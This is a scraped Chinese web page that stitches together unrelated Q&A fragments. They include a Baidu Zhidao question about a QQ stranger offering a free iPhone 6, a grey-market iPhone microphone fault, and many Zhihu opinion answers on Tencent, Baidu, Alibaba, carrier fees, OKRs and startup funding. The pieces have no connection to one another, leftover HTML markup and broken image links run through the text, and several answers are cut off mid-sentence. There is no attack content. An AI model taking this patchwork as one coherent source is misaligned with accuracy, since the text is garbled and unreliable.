有人在qq上加我，然后说要送我iPhone6，我问他为什么，他说任性_百度知道
有人在qq上加我，然后说要送我iPhone6，我问他为什么，他说任性
还说后天会上楚天都市报，让我注意看，我能相信么？这种事靠谱不
提问者采纳
管它呢,白送谁不要要呢? 给他一个公司或者学校的地址让他寄过来呗,无论叫你交什么钱甚至是运费就不要理他了
其他类似问题
把他QQ给我吧
为您推荐：
iphone6的相关知识
其他4条回答
不靠谱，别被人骗
不太靠谱，
骗人的，别信
我也打算送你一台，你信吗？
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁我刚买的iPhone6正港的 才十五天发现Siri不能用 插上耳机才行 但是不插耳机的时候又有波纹 有人说是前置麦克风坏了 我用前置摄像头拍视频又有声音 然后用QQ和微信的语音方式开免提就不行 正常打电话开免提就行 求大神解答
我刚买的iPhone6正港的 才十五天发现Siri不能用 插上耳机才行 但是不插耳机的时候又有波纹 有人说是前置麦克风坏了 我用前置摄像头拍视频又有声音 然后用QQ和微信的语音方式开免提就不行 正常打电话开免提就行 求大神解答 5
不区分大小写
你买的是水货
是水货 &你知道我收的的状况吗 & 求解答
在设置里的隐私的麦克风里看下有可以打开的程序？？
有啊 &QQ和微信都又打开打算一开免提就不行 &打电话开免提就可以
这样的问题你可以去售后直接换机了。。只要你的是在保修期的正品机子。。
我人在大陆 买的是港货 & 只有七天内包退还我都十五天了
正品苹果在保修期内都可以换机子的。。包括进水了。。一般人我不告诉他。。前提是你的机子是正品的。。港水要有HK的正规机打**。。就怕你买到的是深圳华强北的水货。。
我不大懂我是福建这边的 & **是他自己手机店开的
建议回复出厂试试，如果不行，只能返厂。
相关知识等待您来回答
手机领域专家
&&雅兴问问&&Inc.来自子话题：
见图。&br&&img src=&/d97e337d9aa96d08bfc18_b.jpg& data-rawwidth=&600& data-rawheight=&398& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&/d97e337d9aa96d08bfc18_r.jpg&&
这个问题很不善良。&br&&br&首先，在大环境下，任何企业都难以100%自清。比腾讯糟糕的企业数不胜数，比腾讯好的企业寥寥无几。&br&&br&第二，相对而言，腾讯很善良。QQ，微信，完全可以走非常商业化的道路，腾讯没有那么做，只是适可而止。如果换了别的大佬获得微信，说不定早就将广告微店充斥微信各角落了。好像马云说过，微信很好，但棋没下好。什么叫下好棋？难道将微信彻底商业化，像淘宝那样就好了？难道就不能够保持科技单纯么？&br&&br&第三，马化腾几乎完全没有虚幻言论，他保持了理工男的务实本分。各微博微信大号里，充斥着小米，阿里，锤子，雕爷，新东方，任志强，潘石屹.......各种大佬小佬的言论，一时间，这些业界菁英大多当自己是国家栋梁，民族先锋，先知，鱼目混珠。&br&&br&而腾讯几乎没有什么话语，就是那么厉害的张晓龙，也非常罕有言论发表。&br&&br&第四，大家有时间，查询查询阿里的股东是些什么背景。在这方面，腾讯不能独善，但好点儿。大家是否明白，淘宝天猫实际贡献给了哪些人？&br&&br&第五：这个问题的答案，其实很简单，大家几乎都想歪了。&b&发明比微信更好的市场愿意接受的工具，就可战胜腾讯了。大家却从歪门邪道去设想.......&/b&&br&&br&&br&&b&————————————————————————&/b&&br&&b&回答是一气儿写成的，没有特别地对比阿里，或者批评什么的意思。&/b&&br&&br&，&br&&b&微信可能还有一些缺点，但毕竟是中国网络产品里比较拿得出手的，颇受KK（凯文凯利）推崇，海外市场也不错。可以算是中国业界的一点骄傲。所以，觉得不应该想要它倒闭。&/b&&br&&br&&br&&b&-————————————————————————&/b&&br&&b&谢谢诸位，来点图片，新年快乐，O(∩_∩)O~ &/b&&br&&b&1） Universal Studio 里边玩耍的孩子，&/b&&br&&b&2）2013 速度与激情6 Universal Studio全球首发现场的摄影师&/b&&br&&b&（自有版权，请尊重，谢谢）&/b&&br&&img src=&/cc1c6cfcbd256f317fad844b683b55a0_b.jpg& data-rawwidth=&3264& data-rawheight=&4912& class=&origin_image zh-lightbox-thumb& width=&3264& data-original=&/cc1c6cfcbd256f317fad844b683b55a0_r.jpg&&&br&&br&&img src=&/d6a1b534fb99b9d222c65e996d99133f_b.jpg& data-rawwidth=&2918& data-rawheight=&4131& class=&origin_image zh-lightbox-thumb& width=&2918& data-original=&/d6a1b534fb99b9d222c65e996d99133f_r.jpg&&
这个问题很不善良。首先，在大环境下，任何企业都难以100%自清。比腾讯糟糕的企业数不胜数，比腾讯好的企业寥寥无几。第二，相对而言，腾讯很善良。QQ，微信，完全可以走非常商业化的道路，腾讯没有那么做，只是适可而止。如果换了别的大佬获得微信，说不定…
某日，萨马特发现QQ空间打不开，CF不能打，QQ音乐没声音，连上小学的弟弟也打不成LOL了，一怒之下准备聚众闹事。掏出电话，一想，话费这么贵，还是在群里喊一声算了，咦，QQ上不去！那就微信群吧，也上不去？难道要群发短信！这得好几块钱呢！&br&算了，为了省钱还是用邮箱挨个发吧&br&&br&等等！QQ邮箱也死了！算了，洗洗睡吧。
某日，萨马特发现QQ空间打不开，CF不能打，QQ音乐没声音，连上小学的弟弟也打不成LOL了，一怒之下准备聚众闹事。掏出电话，一想，话费这么贵，还是在群里喊一声算了，咦，QQ上不去！那就微信群吧，也上不去？难道要群发短信！这得好几块钱呢！算了，为了省…
日更新：余凯大大挖来了吴恩达，以下答案不再完全合适。&br&我认为，目前为止，百度跌出BAT三巨头的速度会放缓，但和另外2家的差距依然会越来越大。&br&&br&不过看看排名第一和排名第三的答案把阿里说的一无是处。不知道阿里马上上市了他们怎么看。&br&&br&&br&参考资料：&a href=&/question//answer/& class=&internal&&就搜索技术而言，百度和 Google 是一个量级的吗？&/a&&br&&a data-hash=&714a198d50da11ee06e06bee0e93e84e& href=&///people/714a198d50da11ee06e06bee0e93e84e& class=&member_mention& data-editable=&true& data-title=&@Kenny Chao& data-tip=&p$b$714a198d50da11ee06e06bee0e93e84e&&@Kenny Chao&/a&&br&大家先看看技术流kenny同学对百度和google的的算法分析比较，相当专业。&br&&br&1.我不明白说百度算法做得好同学基于什么，之前有一个百度谷歌算法的问题讨论很全面了，我抖机灵了个机灵对比对原题的搜索能力骗了几天第一又被说成黑百度了。。。不信的可以现在开个新题立即搜原题！说百度算法好是基于你自身还是大量用户日使用率的调查对比？是基于算法抽样准确率对比？基于假药首次搜索成功推荐命中率？还是基于和谷歌的对比，抑或基于百度的国内市场占有率？算法做的好应当有起码好的表现吧，基于上面几点，哪一条百度优势明显？百度无疑做的都不够好，不说谷歌，单国内被搜狗被360搜挤掉的份额都够李彦宏忧愁的。百度的算法，最近几年有什么大的更新大的革命呢？总不能偷偷做不宣传吧，叫什么代号？叫新竞价排名，叫新阿拉丁还是叫新凤巢？&br&&br& 2.移动端，百度财报是还好，得益于91无线，也是百度近年来唯一的布局，说别人阿里腾讯病急乱投医，收购高德，收购BOX，收购文化中国，腾讯入股大众点评，入股京东，入股搜狗，入股四维图新（此处为还未发生），都在试图抢夺自己笨的地方，补强短板，让自己做的强大。还有就是腾讯这种.联姻嫁孩子的做法胆识让人敬佩，这也是双赢的选择，我觉得是大智慧，做不过你我嫁给你，要你一半家产。虽然腾讯有了wechat就够了。百度做了什么，百度在look!翻译过来就是旁观。。。。。&br&&br& 3.移动搜索和传统搜索有差异，更多体现在基于lbs的应用和分发app什么的，百度地图，91都是百度拿的出手的作品，然后呢？李彦宏摊手，耸肩。。。没了。总不能靠贴吧啊！四维图新如果被腾讯收购，百度地图怎么办，李彦宏扛着gps rtk走上街头搞测绘，马云带着高德的人跳出来，同学，请出示国家颁布的相关测绘资质许可证明，地图测绘专业证书，国家测绘甲级单位证书！李彦宏再次摊手，耸肩。。。百度地图不说了，下面91无线，
去年十月，百度网龙签署谅解备忘录，百度收购91百分之百股权，价格也很有前瞻性，相当前瞻，这也是技术流公司的优点，好产品，别谈钱！四个月后，百度小帅哥李明远取代91元老胡泽民成了91的CEO,看不上你早说啊，半年屁股没坐热让人家让位给小同志，我要是小胡，我早就去老江那告李彦宏了！军纬比你大吧！此处我用了夸张的手法。当然真实原因是也许百度要重点发展91无线，抓住现在移动互联网的契机，以用户为导向，以流量入口为武器，以日趋增长的用户移动需求为根本，让年轻的领导血液加入到91中，实现91新的发展，迎接下一个重要挑战，占领移动互联网的制高点！李彦宏摊手，耸肩，这该是任命书上的话。不知道91的员工怎么想，过得开心不。开心就好！别人的收购是双赢，我怎么觉得百度在chi人？ &br&&br&4.百度的移动端做的烂不烂不敢说，那么多百度旗下的app，单说UI界面和交互设计，同主流产品相比，结果和罗永浩与刘超比体重或者比骂人的结果是一致的。也唯有硬件技术流华为可以与百度一战！不敢相信 &a data-hash=&0b7dcd4afe89a4b7edce7a& href=&///people/0b7dcd4afe89a4b7edce7a& class=&member_mention& data-editable=&true& data-title=&@相辉& data-tip=&p$b$0b7dcd4afe89a4b7edce7a&&@相辉&/a&
能不能看下去？ &br&&br&5.百度的文化是什么不了解，最近好像
学华为叫狼性文化，有人感受到猛兽的杀气了吗？那之前应该是专注搜索了，是羊性文化吗？李彦宏耸肩，摊手不告诉你，如果是，那这是个革命的历程，革了谁，王梦秋，胡泽民。。。。百度是一家技术流公司，技术头头有人说经历了百度人打败谷歌人再到谷歌人打败百度人得故事，现在是让邓博士想要再次拿起乒乓球拍的刘骏博士当家。百度大张旗鼓idl研究院给十个人百万年薪什么的，同学们不要相信，名单出来大家会发现全是有学历的认识robin的刚回来的海海龟。&br&&br& 6.缅怀一位百度前CTO李一男，这位华为开天辟地的功臣，这位神童，这位硬件天才软件奇才，中国历史上距离科技之神最近的男人。。。。在百度搞了两年阿拉丁之后，和周鸿祎一样放弃了搜索技术流！李一男最后跑去什么金沙江创投成了个不折不扣商人！！！！！！！！！！！！！！！！&br&钱很多时候很重要很多时候是恐怖的魔鬼！ &br&&br&7.总结，我觉得阿里不害怕因为阿里有钱，马上上市就是1000亿美刀的身价，阿里买360也不是不可能！你上市公司为什么不可以？腾讯有资源！有亲情的维系关系在。&br& 所以我觉得目前是&br&腾讯&阿里&百度。&br&&br&将来是&br&阿里=腾讯&&异军突起a&异军突起b&百度。 &br&&br&阿里抓住了女性。&br&腾讯抓住了人性。 &br&百度抓住了什么？&br& 李彦宏摊手，耸肩。。。&br&&br&&b&科技发展到最后，还是要终归于人文&/b&&br&&b&这不是科技兴国，这是返璞归真。。。&/b&&br&&br&&img src=&/1f8b4a52fb8e6f2bf6e9_b.jpg& data-rawwidth=&542& data-rawheight=&289& class=&origin_image zh-lightbox-thumb& width=&542& data-original=&/1f8b4a52fb8e6f2bf6e9_r.jpg&&
日更新：余凯大大挖来了吴恩达，以下答案不再完全合适。我认为，目前为止，百度跌出BAT三巨头的速度会放缓，但和另外2家的差距依然会越来越大。不过看看排名第一和排名第三的答案把阿里说的一无是处。不知道阿里马上上市了他们怎么看。参考资料：
明明是&b&管道&/b&的运营商不肯放弃暴利，于是打算收&b&买路钱&/b&。&br&就这样。&br&&br&写得太简单容易引起误解，碎碎念如下：&br&1）应该不会直接向用户收费。但是向疼逊收费也是一样的，后者也需要营收，最后还是要转嫁到消费者身上。想象一下你将来装了个应用，还要去该套餐仅仅因为该应用会被额外收费？！人间闹剧！除非改成某个特定应用的流量费用&b&更加低廉&/b&，才会变成人间喜剧。而现在运营商的做法正相反。&br&&br&2）这里其实有个关联话题：流量中立。以前老美的运营商就闹过一次了，要对视频产生的流量额外收费，反正G社为首的视频网站是反对的。流量歧视，是运营商角度看问题的，和互联网厂商或者消费者角度不一样。这次的事件，本质上是一样的。同样是流量，为何要对语音、短信、网页、视频、微信区别对待呢？对于消费者来说，这是无法理解的逻辑。经验告诉我们，一旦出现此类违反直觉的事情，背后必然有不可言说的利益冲突。&br&&br&3）为什么我不看重所谓的OTT冲击运营商这个角度呢？因为这是个短期的视角，长期来说，运营商的所谓语音短信之类的，是一定会死的，怎么挣扎都只是苟延残喘而已。这个和是否国企无关，欧美运营商日子一样不好过。&br&&br&4）接上一条，运营商觉得自己花了大价钱铺设硬件，最后却沦为管道，很不愿意。但是这个事情是不可逆转的，因为运营商的硬件，其提供的最大价值，就在于连通。它为此向用户收费合情合理。但是除此之外的所有价值，都不是运营商创造的，都是其他厂商或者个人创造的。如果说自来水公司，打算向饭店&b&额外&/b&收取水费，仅仅因为饭店的菜做得好吃，每个人都可以看出其荒谬（饭店菜好吃是人家自己的价值，自来水公司并无特别贡献）------------------------但这就是现在运营商的逻辑，因为互联网被其他人做大了，产生更高价值了，而它没有贡献（除了硬件以外），但是偏要分一杯羹，这不是买路钱还能是什么？如果说某部电影票房大卖之后，电力局上门收钱说你的大卖给我造成了额外的电力供应压力，必须再多交钱，否则我就要倒闭了-----------------人人都能看出来这种试图&b&无功受禄&/b&的行为是&b&敲诈&/b&，而现在正有人厚着脸皮做同样的事情。&br&&br&5）为什么完全无逻辑的事情，会被理所当然地提出来呢？因为运营商不肯做管道（挣钱少），而喜欢自己下场去亲力亲为，提供些价格高昂而体验低劣的服务。这就类似于，所有的饭馆都是自来水公司开的（估计会清汤买一千块），所有的家用电器都是电力机构生产的（可以想象其耗电必然天文数字而功能必然低劣无比）。社会分工的细化是经济规律，&b&管道就是运营商的本来面目&/b&，也是它&b&唯一&/b&应该做好的分工。其他的工作交给其他人去做最合适。&br&&br&6）其它的诸如运营商对产业上下游有贡献等等，都是隔靴搔痒，无法解释为什么这些所谓的贡献，一定要运营商来组织而不能是其他更有活力的厂商来搞？经济学告诉我们，谁用最低成本提供最高价值谁就应该能赢，如果有外来的暴力来扭曲这个规律，把运营商的利益放在消费者利益之上，这就不是经济问题，是什么问题我发表不出来，但是估计每个人都可以猜到。
明明是管道的运营商不肯放弃暴利，于是打算收买路钱。就这样。写得太简单容易引起误解，碎碎念如下：1）应该不会直接向用户收费。但是向疼逊收费也是一样的，后者也需要营收，最后还是要转嫁到消费者身上。想象一下你将来装了个应用，还要去该套餐仅仅因为…
&b&社交产品需要创造心流...&/b&&br&&br&&br&&b&哈哈哈哈，总算让我分析出来了。&/b&
社交产品需要创造心流...哈哈哈哈，总算让我分析出来了。
传说每个人都只需要某个软件功能的 5%。杯具的是每个人的 5% 都不一样。于是……
传说每个人都只需要某个软件功能的 5%。杯具的是每个人的 5% 都不一样。于是……
现在的创业公司好像都在用OKR进行绩效考核，最早好像是谷歌来着的。&br&&br&OKR：目标+关键结果&br&&br&&img src=&/a88aaaabd6f1e342869db_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/a88aaaabd6f1e342869db_r.jpg&&&img src=&/af387e5ff3_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/af387e5ff3_r.jpg&&&img src=&/b2dcecf4097d_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/b2dcecf4097d_r.jpg&&&img src=&/f5d379030feefb673ddf65b_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/f5d379030feefb673ddf65b_r.jpg&&&img src=&/5b7e027c070c68ebd6e8_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/5b7e027c070c68ebd6e8_r.jpg&&&img src=&/5abcaefbe0bce72830ca_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/5abcaefbe0bce72830ca_r.jpg&&&img src=&/7d55bdfc27_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/7d55bdfc27_r.jpg&&&img src=&/a1097aa5baf80c2ceedcb042caebe6a8_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/a1097aa5baf80c2ceedcb042caebe6a8_r.jpg&&&img src=&/123dedb205308ebddfaf6106_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/123dedb205308ebddfaf6106_r.jpg&&&img src=&/ddd61f4b7dfd9eb8f0a8cd8_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/ddd61f4b7dfd9eb8f0a8cd8_r.jpg&&&img src=&/a2acba0b181eaa1706ce8e_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/a2acba0b181eaa1706ce8e_r.jpg&&&img src=&/615c496ae20d972aae0fbc93_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/615c496ae20d972aae0fbc93_r.jpg&&&img src=&/d6c63bbd50f9f13ec4e6c422c7e5e12d_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/d6c63bbd50f9f13ec4e6c422c7e5e12d_r.jpg&&&img src=&/8c676f4711cadb4fcbeb83410dfdd99b_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/8c676f4711cadb4fcbeb83410dfdd99b_r.jpg&&&img src=&/6e6deb1d0c6c15fe099dd2a1f6eb3264_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/6e6deb1d0c6c15fe099dd2a1f6eb3264_r.jpg&&&img src=&/1b7cfeaa4cb4bb127a9b7_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/1b7cfeaa4cb4bb127a9b7_r.jpg&&&img src=&/cff01d7acef39d2ffb0bfebba5b5a7e1_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/cff01d7acef39d2ffb0bfebba5b5a7e1_r.jpg&&&img src=&/eed911aee4f3ad13c6c4f_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/eed911aee4f3ad13c6c4f_r.jpg&&&img src=&/eb2f6a2ff97_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/eb2f6a2ff97_r.jpg&&&img src=&/1c59f730cc0c73d57673_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/1c59f730cc0c73d57673_r.jpg&&&img src=&/b15b0eb4db20ef56d4f17_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/b15b0eb4db20ef56d4f17_r.jpg&&&img src=&/c120d73844f4bcdd0679fda577c0abe3_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/c120d73844f4bcdd0679fda577c0abe3_r.jpg&&&img src=&/2205cda427780ffab2e0096bda5ac807_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/2205cda427780ffab2e0096bda5ac807_r.jpg&&&img src=&/eb749ae9fbccedc3763e2_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/eb749ae9fbccedc3763e2_r.jpg&&&img src=&/3f67aecf8d76aeeb3bddb3_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/3f67aecf8d76aeeb3bddb3_r.jpg&&&img src=&/ba73dd0dab54fe947b61ae65e7ce1afd_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/ba73dd0dab54fe947b61ae65e7ce1afd_r.jpg&&&img src=&/ceef2bb040acdae340aea48ee34cd5b1_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/ceef2bb040acdae340aea48ee34cd5b1_r.jpg&&&img src=&/4cd11bcadce_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/4cd11bcadce_r.jpg&&&img src=&/40ef8c67d65b455c80dff08ee3620619_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/40ef8c67d65b455c80dff08ee3620619_r.jpg&&&img src=&/7119dec611c70a28ae556_b.jpg& data-rawwidth=&960& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/7119dec611c70a28ae556_r.jpg&&
现在的创业公司好像都在用OKR进行绩效考核，最早好像是谷歌来着的。OKR：目标+关键结果
它不是给你发工资了么。年轻人 入职场第一件事要记住不要把公司当家 不要把老板当家长。
它不是给你发工资了么。年轻人 入职场第一件事要记住不要把公司当家 不要把老板当家长。
&p&群的核心是人，讨论组的核心是事。&/p&
群的核心是人，讨论组的核心是事。
来自子话题：
我不知道楼主想确认些什么，不过可以肯定是小马哥和盖茨都是有一定背景的人。&br&网上有人说盖茨，巴菲特，马化腾这些人都是富二代，然后感慨一顿，实际上这是给自己找借口。马化腾有背景但是谈不上显赫，比他背景牛的人一抓一大把，盖茨也是。他们能达到今天的高度的的确确是靠着自己的过人的才能，不必刨根问底的探究他们的出身、背景，更不应该据此丧失向上奋斗的动力。
我不知道楼主想确认些什么，不过可以肯定是小马哥和盖茨都是有一定背景的人。网上有人说盖茨，巴菲特，马化腾这些人都是富二代，然后感慨一顿，实际上这是给自己找借口。马化腾有背景但是谈不上显赫，比他背景牛的人一抓一大把，盖茨也是。他们能达到今天的…
来自子话题：
只能说，哥已经玩到顶了
只能说，哥已经玩到顶了
说说我的感受～&br&&br&互联网企业基本上都一个共同的特点，就是变化快，比如有一个突发事件要求你半小时内上一个专题，这是最司空见惯的了，所以在大部分互联网企业，流程/规范往往让步于敏捷/Quick&Dirty。这是行业特点，不用太在意，这本身没什么问题，没必要上升到技术驱动/技术氛围/职业发展这等理论高度。&br&&br&很多人是被琐碎的日常小事搞的焦头烂额、无暇它顾，却归咎于团队氛围，这自然有失偏颇，时间管理本应是一个职业人必备的职业技能，我在淘宝看到的是，工程师在技术上通常提升的很快，但却亟需与之匹配的职业技能、沟通技巧、表达能力。所以，如果你满腹经纶、学富五车，却没办法说服一个小小的运营来把你牛逼的代码放入产品，那么...&br&&br&所以，互联网人才流动比其他行业猛的多，原因也在此，工程师善于攻克技术难题，却懒得思考技术的商业价值，更喜欢没人打扰的写代码，却懒得和技术白痴多说一句废话，相信我，天底下的工程师都是一个鸟样，以为技术能搞定一切，拿着自认为牛逼的技术才能和人比个高低，这就和刚毕业时和同学们比谁的offer工资高一样幼稚。&br&&br&我没有在其他公司呆过，我只说说淘宝，淘宝充满了变化，而我认为这正是淘宝独具魅力的地方，因为大家都明白一个最简单的道理，变化意味着机会和挑战，也意味这巨大的成长空间，看看从淘宝走出去的人就知道了。在淘宝你有机会参加赛马、你还能申请技术假，甚至被鼓励申请专利、有机会作为技术布道讲师、还能随时成立虚拟小组纠集同党干自己感兴趣的事情，还有机会参加系统的前端技术培训，只要你能做到很好的时间管理，要求高吗？&br&&br&当然，我身在北京，我只能说我所看到的真实情况。另外，你还需要搞清楚，公司有运作型和项目型，你要了解你要作的是维护一个已成型的产品，作修修补补的工作呢，还是加入一个有项目做的团队呢？如果是维护，的确有更多时间钻研技术，就像Yahoo那帮技术大牛们得有多闲才能写出YUI此类庞然大物啊，后来那些牛人不也天各一方了吗。好吧，如果你清闲的有大把时间去研究技术，不仅你身上没有绩效产出，也说明业务在走下坡路了。显然淘宝的节奏更快、压力更大，玉伯、小马、圆心这些牛人正是背着压力走过了这些年，这个过程更值得人思考，而不是他们技术上有多牛。要知道他们在和你一样年龄的时候就做到了当时的行业内技术领先。&br&&br&所以我不好说什么样的环境是适合你的，是你所喜欢的，我只能告诉你互联网公司的真相，我在慢节奏的雅虎呆过，也在快节奏的淘宝混过，毕业块四年时间了，我所看到的人往高处走，快节奏的公司成长更快，但后续的突破瓶颈则靠的是自己勤勉好学和持之以恒的品质，以及对专业技能和职业技能的权衡，前者决定了你成长有多快，后者决定了你能走多远，所有人都是这样。&br&&br&好吧，说的有点消极，说点积极的，人的技术追求应当始终如一，就像玉伯，这种技术气质我想应该是锻炼出来的，而不是与生具来的，对于新人来讲，缺少的不是所谓的“技术气质”，而是这种锻炼。这种气质属于你个人，不要将自己的命运系于产品，你能作一款牛逼的产品，换个人照样能做出来，而实现产品的过程、收获的编程体会、历练出的码感以及你所独有的工程师气质，才是唯一不可替代的。&br&&br&想清楚这些，再去想要加入什么公司什么团队，不晚。
说说我的感受～互联网企业基本上都一个共同的特点，就是变化快，比如有一个突发事件要求你半小时内上一个专题，这是最司空见惯的了，所以在大部分互联网企业，流程/规范往往让步于敏捷/Quick&Dirty。这是行业特点，不用太在意，这本身没什么问题，没必要上…
-&br&谢邀。&br&&br&虽然一向对大公司没有好感，但这应该才是真相。那篇弱势群体当事人的文章，顾左右而言他，春秋笔法，渲染自己是被泄愤般开除，有些任性甚至炒作。没可能允许对手高管家人在核心团队吧，这是普遍常识…&br&&br&另：&br&1.虽然我觉得这才是真相，但是民意一定是反过来。因为群体是情绪化、愚昧、冲动、易信易怒的，也更容易相信所谓弱势群体，这永远在循环上演。&br&2.我有些奇怪…女主恰好在欧洲团建结束，也就是享受掉很关键的一个福利后爆出此文。而腾讯，则并没有恰好在刀塔传奇火了后马上做啥事（却被渲染为这样）。&br&&br&所以我知道，这是做（chao）作（zuo），但是基于群体的特征，腾讯接招也输，不接招也输。&br&&br&不过好在，群体还有一个特征是，健忘。&br&&br&说到底，我还是挺鄙视这样的手段的，别装，别自欺欺人，或许一开始只是一个不成熟女性的任性，但是现在从公司层面，刀塔传奇一定很愿意看到群体愚昧给己方带来的收益。&br&&br&以上&br&-
-谢邀。虽然一向对大公司没有好感，但这应该才是真相。那篇弱势群体当事人的文章，顾左右而言他，春秋笔法，渲染自己是被泄愤般开除，有些任性甚至炒作。没可能允许对手高管家人在核心团队吧，这是普遍常识…另：1.虽然我觉得这才是真相，但是民意一定是反…
从此BAT打架互骂从线上转为线下
从此BAT打架互骂从线上转为线下
我求你们撤销qq秀好吗...
我求你们撤销qq秀好吗...
题主你啊，naive。&br&&br&像腾讯，收费跟外面快餐店差不多还略贵的饭堂、法律规定的五险一金和带薪年假这些都被算成是福利，这种所谓的福利也就只能骗骗涉世未深没毕业的学生了。另外中秋、端午发的那月饼跟粽子加上荔枝全部加起来大概也就200块，想想你们这些码农每天工作12个小时每年就花个200块买盒月饼和速冻的粽子就打发了，到底是多么单纯啊&br&&br&所以说，李厂长和度厂的hr是实在的人，没什么福利就干脆不宣传了，不像腾讯阿里的HR那样把一些本来就是雇员的合法权益说成是福利，像是这些剥削阶级施舍给你们的那样&br&&br&另外吐槽一下那个Tony Chiang的回答，真实性我就懒得说了。明明就是一个山大大三的学生，却装着一副自己好像在flgt、dropbox和其他hot startup工作过的样子在答问题
题主你啊，naive。像腾讯，收费跟外面快餐店差不多还略贵的饭堂、法律规定的五险一金和带薪年假这些都被算成是福利，这种所谓的福利也就只能骗骗涉世未深没毕业的学生了。另外中秋、端午发的那月饼跟粽子加上荔枝全部加起来大概也就200块，想想你们这些码农…
&p&正好今天写了这个话题。&/p&&br&&p&&b&企鹅为什么要给钱？&/b&&/p&&br&&p&我想说这简直就是个显而易见和不言自明的问题。作为一家上市公司，企鹅最重要的工作是赚！钱！如果说对于企鹅来说，有一种比游戏和广告更赚钱的方式，那一定就是移动金融。&/p&&br&&p&移动金融不是一步到位的，第一步是支付技术，第二步是支付体验，第三步是支付场景，第四步才是移动金融。从企鹅的角度看这个问题，就是想办法先让用户用微信付个钱试试，然后通过优惠等各种方式让你天天付，最后当你觉得通过他付钱很爽的时候，推动你把银行里的钱挪到他那里。当这些钱都存放到企鹅想让你存放的地方，企鹅就成功了。&/p&&br&&p&由于电商的支付基础以及支付宝的用户基础，阿里在移动支付上延续了PC上的优势。但是微信给企鹅搞了好几个开门红，让企鹅在移动支付上有了和支付宝的一拼之力。微信拿下了二维码的最大入口为支付场景提供了有利的技术支持，同时微信红包将大量的微信用户转化成了微信支付的用户。跨过支付场景直接上的理财通产生了一些效用，但是没有足够的支付场景，就很难和支付宝在同一个数量级上对抗。所以，企鹅眼下为了移动金融最紧要事之一，就是大范围拓宽用户的支付场景和提高用户的使用频次。&/p&&br&&p&一个普通学生或者白领平时最经常把钱花在哪里？日常餐饮、公共交通、零售。这三类几乎是以日为时间单位计算的活跃度。如果对这些体系达成完整覆盖，日均可以形成3~5次的支付。&/p&&br&&p&现在，打车作为公共交通的一个组成部分，企鹅通过滴滴打车完成了布局；便利店作为零售的核心，企鹅也有布局。但支付宝也有和嘀嘀不相上下的快的支持，便利店的话支付宝还更占优一些。在这样的情况下，谁能控制住小型餐饮和连锁快餐，就可以在餐饮领域的支付获得优势，毕竟对于用户习惯的养成，高频次比高客单价更重要。就算淘点点能做起来，谁天天去吃日料和西餐呢？&/p&&br&&p&当大众点评和饿了么捆绑在一起的时候，饿了么实际上已经被纳入腾讯系中，而且注定会成为企鹅体系中的重要组成部分，因为搞定饿了么等于是给了企鹅在移动支付的竞争中一个局部占优的机会，因为饿了么的在线支付比例在很短的时间里就上升到7成。所以，在我个人看来，从红杉的3000万美元到大众点评的8000万美元，间隔仅半年左右估值就有如此大的提升，其中显然包含了左右移动支付局势的溢价。&/p&&br&&p&这也为何我本来以为腾讯会领投这次融资的原因。不过鉴于滴滴打车就是在被中信产业投资投完后，迎来了腾讯的领投。饿了么的这次融资是否也是腾讯投资的序章？我觉得至少有理由如此猜测。&/p&&br&&p&&b&金属狗为什么要给钱？&/b&&/p&&br&&p&如果企鹅为了移动金融的梦，这钱是给得天经地义，那金属狗为什么要战投饿了